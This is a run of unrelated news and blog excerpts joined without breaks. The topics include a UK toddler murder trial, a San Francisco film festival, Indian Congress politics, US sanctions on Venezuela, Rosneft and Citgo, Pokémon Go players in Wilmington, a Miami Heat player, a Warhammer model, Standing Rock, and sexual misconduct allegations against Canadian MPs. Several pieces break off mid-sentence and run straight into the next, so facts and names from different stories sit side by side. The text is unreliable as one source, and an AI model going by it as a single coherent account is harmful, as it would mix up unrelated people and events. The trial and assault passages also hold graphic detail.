Toddler Keegan Downer seen playing before tragic death v f Loaded : 0% Progress : 0% w 00:00 f Play LIVE d Mute w 00:00 Current Time 0:00 / Duration Time 0:00 t Fullscreen g Need Text Video Quality j n l m k i Foreground --- White Black Red Green Blue Yellow Magenta Cyan --- Opaque Semi-Opaque Background --- White Black Red Green Blue Yellow Magenta Cyan --- Opaque Semi-Transparent Transparent Window --- White Black Red Green Blue Yellow Magenta Cyan --- Opaque Semi-Transparent Transparent Font Size 50% 75% 100% 125% 150% 175% 200% 300% 400% Text Edge Style None Raised Depressed Uniform Dropshadow Font Family Default Monospace Serif Proportional Serif Monospace Sans-Serif Proportional Sans-Serif Casual Script Small Caps Defaults Done Laura Hillier performing before her tragic death Tragic death of toddler after tree comes down in storm Tragic death of toddler who swallowed a 'button' battery Fans: 'Tragic Kaiser accident like nothing we'd seen before' CCTV shows toddler minutes before her death CCTV video of the final moments before Hanlon's tragic death IchorCoal in action before tragic death of Andrew Ashman Missing girl Isabella Watter seen playing before disappearance 14-year-old Antonio with his family before his tragic death Merv Hughes discusses Phillip Hughes' tragic death Byron Bay locals reject shark nets despite tragic death Police speak about tragic death at Adelaide Royal Show Aftermath of tragic death of Miss Honduras, Maria Jose Alvarado
The autopsy also revealed Keegan had suffered a catalogue of more than 150 separate injuries, both old and new, across her body.
Keegan also had an untreated spiral leg fracture, leaving the youngster with one leg shorter than the other, and had suffered a traumatic head or spine injury, which was at least several days old.
SHARE PICTURE
Copy link to paste in your message +10 Downer, (pictured) who was a full-time business student with four other children of her own, had denied murdering the toddler
During the trial, the court heard that a medical professional described Keegan's facial injuries as the worst he had ever seen, while pathologists said her bones had been subjected to the sort of force usually experienced in a car crash.
Mr Power told jurors Keegan would have been 'crying and possibly screaming' due to excruciating pain from the leg fracture, making it inconceivable that someone looking after her would have been unaware of the injury.
He also told the jury Keegan was last seen by a health visitor five months before her death and an expert reported the youngster seemed fine.
Downer had denied murder and causing or allowing the death of a child, but was found guilty today after three hours of deliberations by the jury.
After the case, Detective Inspector Harry Harrison, from West Midlands Police, said: 'We believe the abuse started when her relationship began to go wrong.
'This was an extremely disturbing and harrowing case to investigate. What Downer subjected Keegan to was barbaric, inhuman and evil.
'The death of one so young is always tragic but it is horrifying to think of the amount of violence and suffering this young child must have endured in the last few months of her short life in the hands of someone she should have been able to trust.
'I am also astounded by the lack of emotion shown by Downer throughout this investigation.
'She has not shown a shred of remorse or sorrow.
SHARE PICTURE
Copy link to paste in your message +10 Keegan was found unconscious in her cot after suffering a cardiac arrest at the family home (pictured)
SHARE PICTURE
Copy link to paste in your message +10 She was rushed to Birmingham Children's Hospital (pictured but was later pronounced dead
'When she finally gave an explanation in the witness box, she even tried to blame Keegan's injuries on her other children, which I find inconceivable and unbelievable.
'I WILL NEVER UNDERSTAND IT': DETECTIVE SLAMS 'DOWNRIGHT EVIL' DOWNER FOR DEATH OF TOT Detective Inspector Harry Harrison, from West Midlands Police described the case as the worst he had seen in his 26 year career in the police force. He added: 'When she [Downer] was originally in custody and we were trying to assess how the injuries were sustained she answered no comment. 'She gave no comment in all 10 of her interviews. 'Through her lawyer she did provide a pre-prepared comment saying she was Keegan's full-time carer and she did not know how the injuries were sustained. 'This evidence completely changed during the course of the trial, where she claimed she was not responsible for her injuries and tried to infer it was her other children. 'There were over 200 injuries to Keegan, some of which were more severe than others and some of which we were told alone could have been life threatening. 'I am still trying to comprehend what she did and why she did it. I will never understand it. 'It preys on my mind that the last few months of Keegan's life she must have been in substantial pain. 'Her actions were completely barbaric, inhuman and downright evil. 'Due to Kandyce's lifestyle there was not much opportunity for outsiders to have access to Keegan. She was hidden. 'Any child death is deeply upsetting for everyone concerned, but this is without doubt the most violent and extreme case that I have been part of in my 26 years as a policeman. 'When she tried to blame her children I was stuck for words. It was inconceivable. 'Keegan had a hard start in life and I hope she can now rest in peace and we have provided justice in the result we have achieved.'.
'Throughout Downer has shown she is cunning and devious, even disposing of Keegan's mattress and bedding and buying new bedding shortly before her death.
'Whilst we have today seen justice done, it does not change the tragic fact that an innocent child has lost her life in heart-breaking circumstances.
'I want to thank everyone who has worked hard to find justice for Keegan, including the investigation team and all those who have provided vital evidence to this harrowing inquiry.'
A serious case review is underway to see whether Keegan's death could have been prevented.
Chair of the multi-agency Birmingham Safeguarding Children Board, Penny Thompson CBE, said: 'On behalf of all the agencies who sit on the Birmingham Safeguarding Children Board I would like to express our deepest sympathy to Shi-Anne's birth family and to those who knew and loved her.
'Following Shi-Anne's tragic death, the Birmingham Safeguarding Children Board set up an independent inquiry to establish what lessons could be learned by the agencies involved in this sad case.
'Now that the criminal trial has ended the Serious Case Review can be completed, reflecting on information disclosed during the trial.
'The Serious Case Review report findings will be published in the summer.'
Speaking after the verdict, an NSPCC spokesman said: 'No child should have to suffer the horrific abuse that Keegan went through during her short life.
'It defies belief this abuse could happen at the hands of a woman who was entrusted with bringing up Keegan.
'Having already been placed in foster care as a baby, Keegan’s legal guardian should have given her a stable and loving family life to grow up in. But instead she killed this defenceless little girl by subjecting her to the most brutal violence.
'This is the latest in a series of tragic cases of very young children killed by their parent or guardian.The 21st San Francisco Independent Film Festival took place Jan 30-Feb 14, 2019. This annual festival showcases the best in independent, alternative, and subversive cinema from around the globe.
“A glorious celebration of gutsy independent cinema.” – Fandor
“SF IndieFest, as the San Francisco Independent Film Festival has been affectionately known from the day Jeff Ross conceived it 20 years ago, is a million miles from Hollywood. It’s even further removed, if that’s possible, from an American independent cinema that long ago evolved from a bunch of pissed-off outsiders into a sedate, Sundance-sanctioned niche where respected character actors play the leads in small-scale adult dramas. (These worlds intersect at the Academy Awards, where a couple indies every year are embraced as underdog mascots. It’s become so routine that nobody even sees it anymore as proof of Hollywood’s abandonment of movies for adults.)” – Michael Fox, KQED Arts
“IndieFest is a wild movie ride, with no seat belts or dashboard padding.” David Lamble, Bay Area Reporter
“Now in its 21st year, IndieFest is no longer the rowdy kid at the back of the class. Still, the local event remains a magnet for offbeat funky movies, heavy on music, underground subcultures and marginal individuals; films you’ll see here first and perhaps nowhere else.“ – Sura Wood, SF Arts Monthly
“Sundance may have sold out, but SF IndieFest keeps it real” – Annie Lo, Flavorpill
“While the Bay Area is flush with festivals, this one remains an under-the-radar standout.” – Randy Myers, San Jose Mercury News
“The San Francisco Independent Film Festival, the Bay Area’s version of Slamdance, provides a showcase for edgy cinematic work — and a great excuse to do some serious partying.” – David Lewis, San Francisco Chronicle
“I’m certainly happy that IndieFest exists, because it is a celebration of films that don’t necessarily get distributed widely,” HITS director David Cross says, “I’m happy to be a part of it with my film, which is very much in the category of a low-budget, little indie movie. I’m glad there’s a place for it.” – SF Chronicle
“SF IndieFest’s main agenda from February 11 to 25 will be promoting intriguing films which can’t be easily categorized. Such Mission District venues as the venerable Roxie Theater and the new Alamo Drafthouse Cinema will act as magnets for adventurous cinephiles.” – Peter Wong, Beyond Chron
“For many independent filmmakers, festivals such as SF Indiefest—aka the San Francisco Independent Film Festival–are the only way to bring their works before an audience. For filmgoers, SF Indiefest is the place to see original cinematic works created by directors who want to tell edgy stories which come from their hearts and souls. While some have bemoaned the death of cinema, the curators and filmmakers at SF Indiefest are keeping the craft of film alive.” – David Elijah Nahmod, SF SOUNDS
“SF IndieFest is the one festival of the year where you should throw a dart at the program and take a chance. Not because you’re guaranteed a masterpiece, but because it’s the best fest to see something that would never, ever breach your filter otherwise.” -Michael Fox, KQED
Past participants have included Gregg Araki, Abel Ferrara, Larry Kent, David Lynch, Gus Van Sant, Robert Romanus, Chris Gore, Don Argott, Don Coscarelli, Bruce Campbell, Penelope Spheeris, Jon Cryer, David Cross, Jennifer Beals, Ryuhei Matsuda, James Duvall, Toyoda Toshiaki, Uwe Boll, Bill Plympton, Christopher Coppola, Edward Furlong, Rachael Bella, Glenn Shadix, Nathan Silver, Joe Swanburg, Bill Plympton, Ben Wheatley, Jeremy Saulnier, Bob Byington, Alex Cox, Gaspar Noe, Todd Verow, Don Hertzfeldt, Sam Elliot, Robert Schwartzman and many more. Check out the lineups of past festivals in our Archives and some of the PRESS from past festivals.
MANY THANKS TO OUR 2019 SPONSORS/PARTNERS!
IndieFest 2019 Staff
Founder/Director: Jeff Ross; Programming: Jennifer “Junkyard” Morris, Chris Metzler, Bears Rebecca Fonte, Fay Dearborn, Jeff Ross; Operations Manager: Catie Roads; Production Assistant Laureen “Lulu” Briggs; Grant Writing: Shannon Tttus; Publicity: Larsen & Associates; Graphic Design: Meghan RyanTehseen Poonawalla fumes at brother Shehzad for questioning Congress president election process
India
oi-Vikas
By Vikas
Congress leader Tehseen Poonawalla distance himself from rebel brother Shehzad | Oneindia News
Congress leader Tehseen Poonawalla on Thursday distanced himself from brother Shehzad Poonawalla, who had called the election for Congress president as "a sham".
Maharashtra Congress secretary Shehzad Poonawala had said that the election for the Congress president is "rigged".
Tehseen called Shehzad's remarks "totally unacceptable".
"It is totally unacceptable to me and my family that Shehzad has dragged Mrs. Gandhi into this, he should have presented whatever issues he had in the party forum..I really don't know why Shehzad did this, it's very surprising, he did not discuss this at all with the family. Washing dirty linen in public is wrong. We now have nothing to do with him, I publicly say this," Tehseen told news agency ANI.
Shehzad Poonawalla is the brother of Tehseen Poonawalla, who is the husband of Robert Vadra's sister Monica. Robert Vadra is Congress President Sonia Gandhi's son-in-law.
Shehzad Poonawala had earlier dubbed the upcoming Congress presidential election as "a sham".
"I have got information that the delegates who are going to vote for the party president elections are fixed, its rigged. They have been appointed for their loyalty. Yes, it takes courage to speak out, there will be all kinds of attacks against me, but I have facts," he told ANI.
According to reports, Poonawalla had earlier told the media he would want to contest the election if it was conducted in a genuine manner.
"I think there should be only one ticket in one family, be it Shehzad Poonawalla or Rahul Gandhi," he added.
[Dissent within Congress: Shehzad Poonawalla calls party president election 'a sham']
Rahul Gandhi will file the nomination papers for the post of Congress President on December 4. Rahul Gandhi is likely to be elected to the top post unopposed. The elevation of Rahul Gandhi has been a much debated and discussed subject. He would take over the top post from his mother Sonia Gandhi.
The Congress had to complete the process before the year-end. It had committed to the Election Commission that the organisational polls would be held before the end of 2017.
OneIndia NewsOlli will be exclusive to DC these next few months, but Miami and Las Vegas will get their own in late 2016. Local Motors is also in talks to test the bus in cities outside the US, including Berlin, Copenhagen and Canberra. It's unclear if anyone can get the chance to ride one, since these are merely trial runs, but you can ask local authorities if the EV makes its way to your city.
If and when the time comes that driverless public vehicles can legally shuttle passengers, you'll be able to summon an Olli through an app, just like Uber. And if Local Motors' plans pan out, a lot of people around the globe will be using that app: Company co-founder John Rogers envisions building hundreds of micro-factories all over the world that can 3D print an Olli within 10 hours and assemble it one.CARACAS, Venezuela (AP) — The Trump administration is warning that it might impose more sanctions on Venezuelan officials over President Nicolas Maduro’s push to rewrite the constitution amid an escalating political crisis with near-daily demonstrations calling for his ouster.
“What President Maduro is trying to do yet again is trying to change the rules of the game,” Michael Fitzpatrick, deputy assistant secretary of state for Western Hemisphere affairs said Tuesday. “The actions that were taken yesterday may well give us new reasons for considering additional individualized sanctions.”
The warning comes as pressure is building on the Trump administration from the U.S. Congress to act more forcefully to rein in Maduro. On Wednesday, a bipartisan group of senators said it will introduce legislation providing humanitarian assistance to Venezuela while toughening sanctions against corrupt officials, according to Senate aides who spoke on condition of anonymity.
The legislation, a copy of which was obtained by The Associated Press, also instructs the intelligence community to prepare a partly unclassified report on Venezuelan government officials’ involvement in corruption and drug trafficking.
Opposition leaders were gearing up for a major march Wednesday in Caracas, seeking to keep the heat on Maduro after a month of unrelenting protests. On Tuesday, protesters disrupted traffic in the capital by blocking streets with broken concrete, twisted metal and flaming piles of trash. Police used tear gas to scatter demonstrators as they have almost every day for weeks.
Two people were killed overnight when the bus they were traveling in flipped when it tried to avoid a barricade set up by protesters, according to opposition activists who live near the accident site in Car |
combination of which mutations come together but also in the order in which they’re acquired,” Dr. Papaemmanuil says.
“This work provides us with a blueprint for how leukemia develops,” Dr. Levine adds. “It shows that how that blueprint is written really matters for the patient.”
Back to top
Arrow (up) icon. Icon pointing upwards. Usually means that the containing element can be opened and closed.
Validating Genomic Analysis
The study illustrates the promise of improving cancer care through genomic analysis of patient-derived samples.
The Marie-Josée and Henry R. Kravis Center for Molecular Oncology, established at MSK in 2014, is taking this approach by correlating molecular information from tumors with clinical data, including patients’ outcomes and responses to therapy.
This is the basis for scientific studies to unlock new ideas about this disease and to test new therapeutic ideas. Ross L. Levine leukemia researcher
More specifically, MSK’s newly established Center for Hematologic Malignancies seeks to use this type of molecular data to better understand how leukemia develops — and then to apply those findings to crafting better therapies.
“This gives us a framework to go back to the lab and understand how all this wiring contributes to leukemia — to really look under the hood,” Dr. Levine says. “This is the basis for scientific studies to unlock new ideas about this disease and to test new therapeutic ideas.”
Back to topSeveral US members of Congress have warned the White House of an imminent risk should Russia’s largest oil company Rosneft take control of Venezuela's Texas-based oil company Citgo.
Read more
Citgo, founded in 1910 by an Oklahoma businessman, was sold to Venezuela's state-run oil company PDVSA in 1990.
Last year 49.9 percent of the Houston-based corporation’s shares were offered as collateral when PDVSA obtained a loan of $1.5 billion from Russia’s Rosneft. Members of Congress are expressing serious concerns that Venezuela may default and hand Citgo over to Rosneft.
“We are extremely concerned that Rosneft's control of a major US energy supplier could pose a grave threat to American energy security, impact the flow and price of gasoline for American consumers, and expose critical US infrastructure to national security threats,” a bipartisan group in Congress wrote in a letter to US Treasury Secretary Steve Mnuchin on Monday.
Mnuchin serves as chairman of the US Committee on Foreign Investment, which is empowered to review foreign investment activity and recommend President Trump to block them.
“We ask that you proactively monitor the situation and that your staff keep our offices briefed on your efforts and any informal review process of Rosneft’s potential acquisition of Citgo,” the letter says.
The committee has a right to start a formal investigation only if Rosneft takes official action toward taking control of Citgo that operates several refineries, pipelines and nearly 50 oil terminals in the US.
Citing some respected international market analysts the group of senators led by Democrat Robert Menendez assured the US administration that crisis-ridden Venezuela is likely to default on its debt to the Russia energy giant, posing a “grave threat to American energy security.”CLOSE You won't find many people out in Wilmington on a weeknight, unless they're Pokémon Go players. Wilmington's Riverfront has seen dozens of players each night hoping to snag rare and elusive Pokémon in the city's prime hunting ground. KYLE GRANTHAM/THE NEWS JOURNAL
Buy Photo Matt Jacobs and Josh Garcia play Pokemon Go as they walk along the Riverfront Walk in Wilmington on Tuesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)Buy Photo
"If you lure it, they will come."
So says Steve Mullen, who lives at the Wilmington Riverfront, as he looks around at the 30 people standing at the door of the Delaware Children's Museum at midnight Tuesday, all playing a game on their smartphones.
Nighttime in Wilmington is typically reserved for silence, desolate streets and, sometimes, tragic violence. Many people refrain from going out, concerned for their safety.
The release of Pokémon Go, a new smartphone game, seems to be changing that. Based on the Pokémon franchise of the 1990s, the game merges the Pokémon universe with the physical world so that players can walk around outside, see cartoon characters projected into the real environment via their phone's camera and then catch the pocket monsters as if they were real.
The game, profiting off deep-rooted 1990s nostalgia, soared to the tops of download charts after it was released July 7. And now, players says they see lots of other players in parks, neighborhoods and downtown Wilmington, especially at night when the most valuable characters come out.
“It’s the best time to go because you don’t have to worry about the heat and there’s no competition really," says La’Motte Howard, who has been spending his nights traversing the city searching for the rarest of Pokémon. The 26-year-old typically stays out from midnight to 3 a.m. playing the game with friends and strangers he meets on the hunt.
PRIMER: All you need to know to catch 'em all
STORY: Companies finding new customers in Pokemon Go players
STORY: Pokemon Go player crashes car into tree
MAP: Show us where you've played and what you've found
He knows exactly where to go, because the game will guide him to sites called Pokéstops, where lures set by players attract Pokémon.
Market Street, which has a least five Pokéstops, draws its fair share of players, or trainers as some prefer to be called. (The baby Pokémon that the players "catch" grow up, or evolve, into adult monsters).
Howard was on Market Street early Tuesday night with his friend Samantha Gubitosi, who lives in Greenville but likes to hunt downtown because of its active Pokémon Go scene. The two were hanging out in front of Chelsea Tavern, catching Pokémon that were being attracted to the stop outside of the Grand Opera House across the street.
CLOSE Pokemon Go has fans of the franchise excited and doing anything to catch 'em all, but don't go too far when trying to be the very best. KYLE GRANTHAM/THE NEWS JOURNAL
The desire to catch rare Pokemon is what motivated Jeremy Smith and Jack Veasey of Bear to head to the Riverfront around 11 p.m. Tuesday to search for the cartoon creatures.
“You get bigger, more powerful ones late at night,” said Smith, 17.
In comparison to where Smith and Veasey live in suburban Bear, the Riverfront is an extremely Pokémon Go-friendly area. With more than 15 Pokéstops and a wide variety of both grass- and water-type Pokémon, the area attracts hunters to the banks of the Christina River.
The smartphone app has a little help from others, too. On Monday, Frawley Stadium announced it would put lures on the three Pokéstops in their parking lot every half hour from 5 p.m. to 6:30 p.m. to draw Pokemon – and Pokemon fans – to the stadium before the night's game, and then again for half an hour after the game. The stadium offered buy-one-get-one free tickets that night as well.
Jason Estes, marketing assistant for the Blue Rocks, said that the promotion was a success and that they are considering offering Pokésmon Go BOGO nights every Monday for home games.
Buy Photo Michael Bedolla hops out of a friend's car to catch a Pokemon after the group came up from Delaware City to play Pokemon Go in the Riverfront in Wilmington on Tuesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)
The increase in foot traffic at the Riverfront gets enthusiastic responses from the Riverfront Development Corp. which oversees the development and growth of the area.
“We definitely like it,” said Marketing Manager Joe Valenti. “Anything that raises awareness for the different things we offer is always good.”
The level of security along the Riverfront, which includes cameras and patrols, means residents are safe playing at night, Valenti said. In coming weeks, the development group will roll out Pokemon Go-related events and activities so that they can cater to the new clientele.
Repeated efforts to reach the Wilmington Police Department for comment about the increasing foot traffic at night were unsuccessful.
Buy Photo Mike McClellan plays Pokemon Go as he takes his Pomeranian, Chief, out to do his business outside Justison Landing on Tuesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)
Laura Flack and Andrew Dougherty were playing the game late Tuesday night at the Riverfront boardwalk. They headed there after grabbing dinner at a restaurant there. Coworkers at Capital One, the pair said that the game has taken over their office.
“Ping-Pong used to be the thing at Capital One,” Flack, 29, said as she balanced her phone perfectly on top of her leftover pizza box so that she could continue to play. “But right now, no one is playing ping-pong. Everyone’s outside playing Pokémon.”
Flack and Dougherty both played the original Pokémon games as kids, and said that they loved the fact that the new app was bringing together fans of all ages and forcing people to be active.
“It’s like FitBit, but more fun,” said Dougherty, 24.
CLOSE Brima Kamara shares his heartbreaking tale of love and loss, trying to catch a Pokémon on Monday afternoon in Downtown Wilmington while hunting for more on Tuesday night at the Riverfront. KYLE GRANTHAM/THE NEWS JOURNAL
One of the most popular spots along the river is the Delaware Children’s Museum, where there are three Pokéstops surrounding the entrance, all with lures installed by players that go off constantly throughout the day.
This creates a Pokémon hotbed, attracting trainers at all hours. At 11 p.m. Tuesday night, about 30 people were gathered in front of the museum, boasting about their most impressive catches and handing out advice as they searched for more.
For Steve Mullen, who lives nearby, the museum is a convenient stop. He keeps tabs on the Pokéstops at the museum from his apartment, watching to see what Pokémon are showing up.
“I’ll see the lures going off,” said Mullen, 29, “so I figure I’ll come down for half an hour or so, and then half an hour turns into two or three hours.”
IF YOU GO
WHAT: Pokémon Go Bar Crawl
WHEN: Saturday, July 20 at 2 pm
WHERE: Trolley Square
COST: $10 until July 16, prices increase afterwards
FOR MORE INFORMATION: Visit their Eventbrite page here
PokéDictionary
Pokémon: Creatures you can capture. There are 151 types featured in the game.
Pokémon trainer: You, the player!
Pokéball: What you throw at Pokémon to catch them. You are given some when you start, but you can restock by visitng Pokéstops or by buying them through in-app purchasing.
Pokéstop: Geotagged locations, i.e. a landmark or destination, where you can get Pokéballs, potions and other helpful items.
Pokémon gyms: Where you go to battle your Pokémon against other Pokémon. If you beat them, you earn control over different gyms. These are located in a similar fashion to Pokéstops.
Eggs: Unhatched Pokémon, which you can hatch by placing them in an incubator and walking around.
Evolve: You can evolve your Pokémon into a more powerful Pokémon by feeding them candy.
Candies, potions, stardust, incense: Helpful items that you can pick up at Pokéstops or earn by leveling up. They can help you during battles or can be used to catch more Pokemon.
Lure Module: A potion-like item that can be used to attract Pokémon to a Pokéstop. Businesses have also been using them to attract Pokémon Go players to their establishments.
Read or Share this story: http://delonline.us/29SUkqbKelly Olynyk likes to live a simple life.
Even though he just signed a four-year, $50 million deal with the Miami Heat in July, Olynyk doesn’t own a big, multimillion dollar beachfront home or even a car. Instead, the 7-foot, 245-pound Canadian with long blond hair walks to practices and games every day from the hotel room he’s renting near AmericanAirlines Arena.
“I’m just kind of getting by a little light,” Olynyk said last week at Heat media day. “There’s a lot to life. Not all of it is material.
“Growing up not having a plethora of money you can live fine. You didn’t need it then so what’s really different now? If you’re wearing clothes or shoes that are $1,000 or $10, they’re doing the job right? Cars or whatever, they both get you from A to B.”
Sign Up and Save Get six months of free digital access to the Miami Herald
The same way Olynyk, 26, appears to be a different kind of NBA multimillionaire off the court, he proved to be a similarly unique weapon in Sunday’s preseason opening win against the Atlanta Hawks.
Playing as the backup center to Hassan Whiteside, coach Erik Spoelstra deployed Olynyk Sunday alongside a trio of ballhandlers in Tyler Johnson, Josh Richardson, Justise Winslow and three-point specialist Wayne Ellington in Miami’s second unit. It allowed Olynyk to play to his strengths in a free-flowing, perimeter-oriented, mostly unscripted attack.
The unit thrived – especially in the second half when Olynyk scored all nine of his points and dished out beautiful assists for easy layups and scores. That’s when Miami finally separated itself from the Hawks. Olynyk finished with a team-high five assists and five turnovers, but was plus 15 for the game.
“Kelly is a smart, high IQ player,” Spoelstra said after Saturday’s Red, White and Pink scrimmage at FAU. “So, a lot of the things that we like to do just fits naturally with him. We’re actually going a little bit retro, going back two or three years with some of the actions we used to do.”
The Heat had that same vision for Josh McRoberts when it signed him to a four-year, $23 million deal in 2014. But McRoberts could never stay healthy.
Sunday there were many times Olynyk, who played guard growing up, pushed the ball up the floor after a rebound and cranked up the Heat’s offense.
“Kelly is like a point center,” Ellington said. “He’s such a big trigger for us and he creates so many actions. It really makes that group and that unit dynamic.”
Rodney McGruder said Olynyk is “a matchup nightmare for most fives” in the league.
“I hate guarding Kelly,” Whiteside said. “Most bigs, they flare and they shoot. But he’ll shoot, pump fake, go to the basket, he’s physical and then he knows how to get the calls.”
Having a center who can push the ball up the floor and get a team into offense is rare in the NBA.
“The only other team that I see doing something like that is like a Golden State with Draymond [Green] pushing it,” Ellington said. “But he doesn’t shoot it as well as Kelly. It’s tough to guard. You got to be out there on shooters and you got guys that can really attack the basket and it opens it up for them.”
Said Winslow: “That second group was a lot of fun, the way we really just spaced the floor. A lot of versatility, a lot of floor spacers. That second group can be special for this team.”
Spoelstra said some of the plays the Heat ran with its second unit were scripted, but says it’s more dynamic when the unit plays unscripted and “it’s a little bit more read and react.”
“We’re open right now, open to seeing where this can go, where we can maximize [Olynyk’s] skill set as much as possible,” Spoelstra said. “Guys like playing with him.”
Because they play such different styles Spoelstra said he’s had Olynyk and Whiteside go at each other every day in practice. Eventually, Spoelstra said, he’ll start having them play side-by-side to see how that lineup looks.
Olynyk said playing in the Heat’s positionless, versatile system is “definitely different” than what he did with the Celtics. This system, he said, allows him to bring more to the table than he had in the past as far as facilitating, handling the ball and making plays.
“In Boston it was a little more scripted although we did have some free-flowing stuff,” he said. “But there guys knew their roles and stuff and their positions. Here it’s like everybody does everything, which maks it really tough to guard, really tough to scout. I remember playing Miami and you had to have the [power forwards] guarding the ball and the [centers] doing this and that and guards guarding screen and rolls. It’s really tough. It’s not what teams guard on a regular basis and it makes it really tough and really unique. It’s fun to play in as well.”
Olynyk said he’s still figuring out how to play with his new teammates and figures it will take time.
“I’m just getting used to everybody’s style – where they like the ball, what they like to do, tendencies, that kind of stuff,” Olynyk said.
It’s the same story on the defensive end. But Spoelstra is confident Olynyk will figure it out quickly.
“Everything will improve once I know what they want to accomplish and get a few more practices and stuff under my belt and you know the tendencies and stuff,” he said. “But just knowing where your teammates are and where you want to force guys and what they want to do, that’s what it comes down to.”
Players say having two units with two distinct styles is going to be beneficial in the long run for the Heat.
“I think it’s really going to keep us fresh,” Ellington said. “I think it’s really going to be an advantage. It’s a long season. So to be able to be that deep, that versatile and that dynamic, that just makes us a different team.”
Whiteside said the Heat, with its diverse second unit, are now a much harder team team to scout.
“We got options,” Whiteside said. “So you can take this option or you can take that option, but it’s going to work out for us either way.”Fully Painted: Khorne Berzerker on Juggernaut
Here’s another one from my formative years: the eponymous Khorne Berzerker astride a mighty Juggernaut steed. I owned this gnarly miniature 25 years ago, during my first run-through with Warhammer 40,000.
Well, not this *exact* miniature, but you get the idea. And I was absolutely enamored with it. To me, this model says everything about Warhammer 40k: an insane, bloodthirsty space marine riding a gigantic beast made of living metal.
And did I mention how heavy this model is? It’s solid metal, and if you were to put it into a sock and swing it at someone’s head, you could really ruin their day. Heavy metal, indeed.
This unit has since been re-released as a more dynamic and aggressive-looking plastic model kit, but I always preferred the original hunk o’ metal version.
So last fall, as I was casting a wide net across eBay in an attempt to scoop up all of the fun, vintage metal miniatures I’d enjoyed as a younger man, I found a great deal on an unpainted Juggernaut rider kit.
I went with the classic paint scheme — blood red armor for the rider, and coal blue-black for the steed, plus lots of obligatory brass detailing. And rivets. Oh god, the rivets.
In Grimdark Future, I think I’m actually going to be using the model as a biker…I already have two Chaos biker models, and this guy looks cool and basically serves the same function on the battlefield. Plus this gives me an excuse to paint up the other bikers in blood red Khorne colors!
AdvertisementsCLOSE Victory celebration erupts at Standing Rock; permit for Dakota Access pipeline denied Robert Allen/DFP
Activists celebrate at Oceti Sakowin Camp on the edge of the Standing Rock Sioux Reservation on December 4, 2016 outside Cannon Ball, North Dakota, after hearing that the Army Corps of Engineers has denied the current route for the Dakota Access pipeline. The US Army Corps of Engineers on Sunday announced they will no longer allow the Dakota Access Pipeline to cross under a lake on the Standing Rock reservation in North Dakota, marking a huge win for Native Americans and protesters who had long opposed the construction. / (Photo: JIM WATSON, AFP/Getty Images)
CANNON BALL, N.D. — The U.S. Army Corps of Engineers says it won’t grant an easement for the Dakota Access oil pipeline in southern North Dakota.
Corps spokeswoman Moira Kelley said in a news release Sunday that the administration will not allow the four-state, $3.8 billion pipeline to be built under Lake Oahe, a Missouri River reservoir where construction had been on hold.
Detroit Free Press Reporter Robert Allen is live at the scene of Standing Rock celebrations.
►Related:Michigan veterans join front lines of Standing Rock 'water protesters'
►Related: 4 ways the Dakota Access Pipeline could be stopped
Assistant Secretary for Civil Works Jo-Ellen Darcy said her decision was based on the need to “explore alternate routes” for the pipeline’s crossing.
The route has been the subject of months of protests by the Standing Rock Sioux tribe and others, who have argued the pipeline threatens a water source and cultural sites.
The company constructing the pipeline, Dallas-based Energy Transfer Partners, and the Morton County Sheriff’s Office didn’t have immediate comment.
The federal government has ordered people to leave the main encampment, which is on Army Corps of Engineers’ land and is close to the construction site, by Monday.
Demonstrators say they’re prepared to stay, and federal, state and local authorities say they won’t forcibly remove the protesters.
►Related: Standing Rock supporters amass at Michigan's capitol
►Related: Timeline of events surrounding the Standing Rock protests
Read or Share this story: http://on.freep.com/2h3gjJoOTTAWA — The NDP MP who approached Justin Trudeau says she never wanted to “destroy” the reputation of a Liberal MP, she just wanted the Liberal leader to know what kind of people he had in his caucus.
In an hour-long conversation with The Huffington Post Canada, the MP said she approached Trudeau while they were on the same bus after landing in Hamilton to attend Cpl. Nathan Cirillo’s funeral. The allegations against former CBC host Jian Ghomeshi were weighing on her, and she was troubled by what was happening to one of her NDP colleagues. She saw the Liberal leader who, in a rare moment, had no one around him.
The NDP MP said she sat next to Trudeau and asked him if he was aware of allegations from another female NDP MP about Liberal MP Scott Andrews.
“I thought that this was unacceptable, and I asked him if he knew about it,” she told HuffPost.
This MP said Trudeau didn’t know anything about the allegations. “I said: personally, I would not like someone like that close to me.”
Andrews vehemently denies any wrongdoing.
“Any allegation of misconduct on his part is untrue,” his lawyer said in a statement.
A few days after the NDP MP approached him, Trudeau suspended two MPs — Andrews and Massimo Pacetti — pending a probe into two unrelated allegations of personal misconduct.
HuffPost agreed to identify neither the MP who approached Trudeau nor the second NDP MP involved. In a statement on Nov. 5, Andrews said he was “confident” that a third-party process “will find that no harassment has occurred.”
The NDP MP who spoke to HuffPost said her decision to speak to Trudeau “happened very quickly.”
“It wasn’t thought out,” she added.
On the bus, the MP said she didn’t discuss her own experience. But in a subsequent meeting with the Liberal and NDP whips she alleged that Pacetti, a Montreal MP, forced himself on her in March.
“It was sex without explicit consent,” she said.
Told of the allegations, Pacetti responded to HuffPost late Monday evening saying his “previous statement still stands.” In his statement on Nov. 5, he said he was “confident” an independent investigation “will exonerate me.”
This MP knew Pacetti from a sports league they were both members of. Both francophone Quebec MPs, she spoke more frequently with Pacetti than with the members who spoke only English. After games, team members would often go out for drinks. One night, Pacetti asked her if she’d like to come back to his hotel room for a drink. She agreed.
“We’d been playing [sports] for a year and a half. He was a friend who was on my team, he wasn’t part of my political party but we took part in a social activity…. I was a member of the team. Yes, I’m a woman, but I’m sure that if he had asked a man to come have another drink after [a game], nobody would be accusing that man of lacking judgment,” she said.
She stressed that hotel rooms for MPs in Ottawa don’t have the same connotation that some might infer.
“These hotels, they are our apartments. Some people live in hotels, some have apartments, some have bought themselves homes. But largely the significance of ‘Come to my hotel room’ is a bit different,” she said.
Once she was in his room, she said, it became clear that he wanted something more. She said she froze. She had been sexually assaulted as a teenager and felt paralyzed when faced with a similar situation.
The sex hurt, she said.
“Three days after the incident, I had trouble sitting down without being in pain.”
She grimaced every time she sat down, feeling pain in her abdomen.
She never confronted Pacetti after the fact. “It was in a box, and we pretended it didn’t exist,” she said.
She never told her own leader, Thomas Mulcair, or any other senior NDP staff about the incident, she said. “While I adore Tom and [whip] Nycole [Turmel] … it’s not with them that I am the closest,” she said.
She didn’t want to lodge a criminal complaint, out of fear the defence would say anything to destroy her, she said, and “in the end, you come out of it worse off.”
After she spoke to Trudeau, she said she agreed to speak with the Liberal whip, Judy Foote, because the Liberals wanted to know exactly what happened.
